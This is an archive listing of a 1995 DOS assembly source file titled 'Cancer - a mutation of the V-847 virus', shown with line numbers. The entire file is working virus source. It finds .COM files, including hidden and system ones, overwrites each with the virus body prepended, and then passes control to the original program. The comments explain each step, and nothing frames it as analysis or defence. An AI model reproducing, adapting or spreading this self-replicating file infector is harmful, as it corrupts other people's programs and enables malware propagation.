home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / C-740B.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  4KB  |  128 lines

  1.       page      ,132
  2.       name       CANCER
  3.       title      Cancer - a mutation of the V-847 virus
  4.      .radix      16
  5.       code       segment
  6.       assume     cs:code,ds:code
  7.       org        100
  8.  
  9. olddta      equ      80
  10. virlen      equ      offset endcode - offset start
  11. smalcod     equ      offset endcode - offset transf
  12. buffer      equ      offset endcode + 100
  13. newdta      equ      offset endcode + 10
  14. fname   =  newdta + 1E
  15. virlenx =  offset endcode - offset start
  16.  
  17. start:
  18.       jmp      cancer
  19.  
  20. ident      dw      'VI'
  21. counter    db      0
  22. allcom     db      '*.COM',0
  23. vleng      db      virlen
  24. n_10D      db      3            ;Unused
  25. progbeg    dd      ?
  26. eof        dw      ?
  27. handle     dw      ?
  28.  
  29. cancer:
  30.       mov      ax,cs          ;Move program code
  31.       add      ax,1000        ; 64K bytes forward
  32.       mov      es,ax
  33.       inc      [counter]
  34.       mov      si,offset start
  35.       xor      di,di
  36.       mov      cx,virlen
  37.       rep      movsb
  38.  
  39.       mov      dx,newdta      ;Set new Disk Transfer Address
  40.       mov      ah,1A          ;Set DTA
  41.       int      21
  42.       mov      dx,offset allcom      ;Search for '*.COM' files
  43.       mov      cx,110b        ;Normal, Hidden or System
  44.       mov      ah,4E          ;Find First file
  45.       int      21
  46.       jc       done            ;Quit if none found
  47.  
  48. mainlp:
  49.       mov      dx,offset fname
  50.       mov      ax,3D02        ;Open file in Read/Write mode
  51.       int      21
  52.       mov      [handle],ax    ;Save handle
  53.       mov      bx,ax
  54.       push     es
  55.       pop      ds
  56.       mov      dx,buffer
  57.       mov      cx,0FFFF       ;Read all bytes
  58.       mov      ah,3F          ;Read from handle
  59.       int      21             ;Bytes read in AX
  60.       add      ax,buffer
  61.       mov      cs:[eof],ax    ;Save pointer to the end of file
  62.  
  63.       xor      cx,cx          ;Go to file beginning
  64.       mov      dx,cx
  65.       mov      bx,cs:[handle]
  66.       mov      ax,4200        ;LSEEK from the beginning of the file
  67.       int      21
  68.       jc       close          ;Leave this file if error occures
  69.  
  70.       mov      dx,0           ;Write the whole code (virus+file)
  71.       mov      cx,cs:[eof]    ; back onto the file
  72.       mov      bx,cs:[handle]
  73.       mov      ah,40          ;Write to handle
  74.       int      21
  75.  
  76. close:
  77.       mov      bx,cs:[handle]
  78.       mov      ah,3E          ;Close the file
  79.       int      21
  80.  
  81.       push      cs
  82.       pop      ds             ;Restore DS
  83.       mov      ah,4F          ;Find next matching file
  84.       mov      dx,newdta
  85.       int      21
  86.       jc       done           ;Exit if all found
  87.       jmp      mainlp         ;Otherwise loop again
  88.  
  89. done:
  90.       mov      dx,olddta      ;Restore old Disk Transfer Address
  91.       mov      ah,1A          ;Set DTA
  92.       int      21
  93.  
  94.       mov      si,offset transf      ;Move this part of code
  95.       mov      cx,smalcod     ;Code length
  96.       xor      di,di          ;Move to ES:0
  97.       rep      movsb          ;Do it
  98.  
  99.       xor      di,di          ;Clear DI
  100.       mov      word ptr cs:[progbeg],0
  101.       mov      word ptr cs:[progbeg+2],es      ;Point progbeg at program start
  102.       jmp      cs:[progbeg]   ;Jump at program start
  103.  
  104. transf:
  105.       push     ds
  106.       pop      es
  107.       mov      si,buffer+100
  108.       cmp      [counter],1
  109.       jne      skip
  110.       sub      si,200
  111. skip:
  112.       mov      di,offset start
  113.       mov      cx,0FFFF       ;Restore original program's code
  114.       sub      cx,si
  115.       rep      movsb
  116.       mov      word ptr cs:[start],offset start
  117.       mov      word ptr cs:[start+2],ds
  118.       jmp      dword ptr cs:[start]      ;Jump to program start
  119. endcode label      byte
  120.  
  121.       int      20             ;Dummy program
  122.       int      20             ;???
  123.  
  124.       db       0              ;Unused
  125.  
  126. code           ends
  127.       end      start
  128.